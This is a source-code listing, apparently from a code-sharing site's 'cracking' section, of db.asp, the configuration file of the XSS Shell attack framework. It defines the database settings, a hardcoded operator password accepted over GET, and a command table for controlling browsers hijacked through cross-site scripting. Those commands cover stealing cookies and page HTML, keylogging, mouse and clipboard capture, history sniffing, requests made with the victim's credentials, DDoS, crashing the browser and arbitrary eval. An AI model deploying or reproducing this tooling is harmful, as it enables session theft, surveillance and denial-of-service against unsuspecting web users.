db.asp
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:4k
源码类别:

破解

开发平台:

ASP/ASPX

  1. <%
  2. '// By Ferruh Mavituna | http://ferruh.mavituna.com
  3. ' 09/08/2006
  4. ' - Started
  5. '
  6. ' 30/10/2006
  7. ' - DBNAME changed with DBPATH
  8. '
  9. '31/10/2006
  10. ' - Password protection added
  11. '01.04.2007
  12. ' - Password can be supplied by GET
  13. Option Explicit
  14. '60 minutes
  15. Session.Timeout = 60
  16. 'Open In Live Enviroments
  17. 'On error resume next
  18. '// DATABASE CONFIGURATION
  19. Const DBPATH = "C:XSSShell-060dbshell.mdb"
  20. 'Activity check time as seconds
  21. Const Activity = "10"
  22. Const SQLSERVER = False
  23. Const XMLHTTP = 0
  24. Const IFRAME = 1
  25. Const IMG = 2
  26. Const JSMODEL = 3
  27. Dim COMMUNICATIONCHANNEL
  28. COMMUNICATIONCHANNEL = JSMODEL
  29. 'Application Version
  30. Const APPVER = "0.3.8"
  31. 'Default Records Count to show
  32. Const DEFAULT_REC = 10
  33. Const MAX_COMMAND = 5
  34. Const MAX_VICTIM = 200
  35. ' Data Seperator
  36. Const DATA_SEPERATOR = "|.|"
  37. 'Determine to accept every request or only valid Attack IDs (expected IDs)
  38. Dim ACCEPT_EVERY_REQUEST 
  39. ACCEPT_EVERY_REQUEST = False
  40. 'Broadcast attacks Always accept
  41. Const BROADCAST_ATTACK = 336699
  42. '// Constants for JS Connector implementation
  43. Const HTMLPAGE = 1
  44. Const TEXT = 2
  45. Const COMMAND_SEPERATOR = "{|}"
  46. Dim Commands
  47. 'var CMD_GETCOOKIE = 1;
  48. 'var CMD_GETSELFHTML = 2 ;
  49. 'var CMD_ALERT = 3;
  50. 'var CMD_YESNO = 4;
  51. 'var CMD_EVAL = 5;
  52. ' Avaliable Commands
  53. Commands = Array("getCookie()",1,"Get victims active cookie", "getSelfHtml()",2,"Get victim's current page HTML Code", "alert(<message>)",3,"Send message to victim", "eval(<javascript code>)",5,"Execute virtually anything in JS","prompt(<question>)",4,"Play Truth or Dare","getKeyloggerData()",6,"Get keylogger data", "getMouseLog()", 7, "Get mouse log (every click in screen)", "getClipboard()", 8, "Get clipboard data (only IE)", "getInternalIP()", 9, "Get internal IP address (only Mozilla* + JVM)", "checkVisitedLinks(<url list>)",11,"Check victim's history (seperated by new line)", "getPage(<Relative URL Path>)",12,"Make a request with victim credentials", "DDoS(<url>)", 13, "Distributed Denial of Service attack (use {RANDOM} in URL to avoid caching)", "Crash()", 14, "Consume victim's CPU and force to crash/close.", "GetLocation()", 16, "Get current URL of victim.") 
  54. 'Hidden command STOPDOS = 15
  55. '// Error Codes
  56. Const NO_RECORD = 0
  57. Const FAILED = 0
  58. Const SUCCESS = 1
  59. Const NON_ERROR = 2
  60. 'Global
  61. Dim Title
  62. '// DB Connection
  63. Dim fmconn, fmconnexe, fmconnpath
  64. fmconnpath = DBPATH 
  65. 'Response.Write fmconnpath : Response.End
  66. If SQLSERVER Then
  67. fmconn = "Provider=sqloledb;" & _
  68.    "Data Source=" & SQLIP & ";" & _
  69.    "Initial Catalog=***;" & _
  70. "User ID=***;" & _
  71. "Password=***"
  72. fmconnexe = fmconn
  73. Else '// Access
  74. fmconn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & fmconnpath
  75. fmconnexe = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & fmconnpath
  76. End If
  77. '// Password protected pages
  78. Sub protected()
  79. 'XSS Shell Proxy Check 
  80. If fm_Qnstr("XSSSHELLPROXY") > 0 Then
  81. Response.Write 13
  82. Response.End
  83. End If
  84. Dim ThisPage
  85. ThisPage = Server.HtmlEncode(Request.ServerVariables("SCRIPT_NAME"))
  86. Dim Pass
  87. Pass = Request.Form("pass")
  88. If Len(Pass) = 0 Then Pass = Request.Querystring("pass")
  89. '// Set Session + password is Case Sensitive
  90. If Pass <> "" Then
  91. If Trim(Pass) = "dh0731" Then Session("level") = "ok"
  92. 'Response.Redirect ""
  93. End If
  94. '// Logout (xxx.asp?logout=ok)
  95. If Request.Querystring("logout") <> "" Then Session("level") = ""
  96. '// Ask for Login
  97. If Session("level") <> "ok" Then
  98. Response.Write "<form method=""post"" action=""" & ThisPage & """><input type=""password"" name=""pass"" /><input type=""submit"" value=""Login""/></form>"
  99. Response.End
  100. End If
  101. End Sub
  102. '// Include Library
  103. %>
  104. <!--#include file="fmlibrary/fmlibraryv3.asp" -->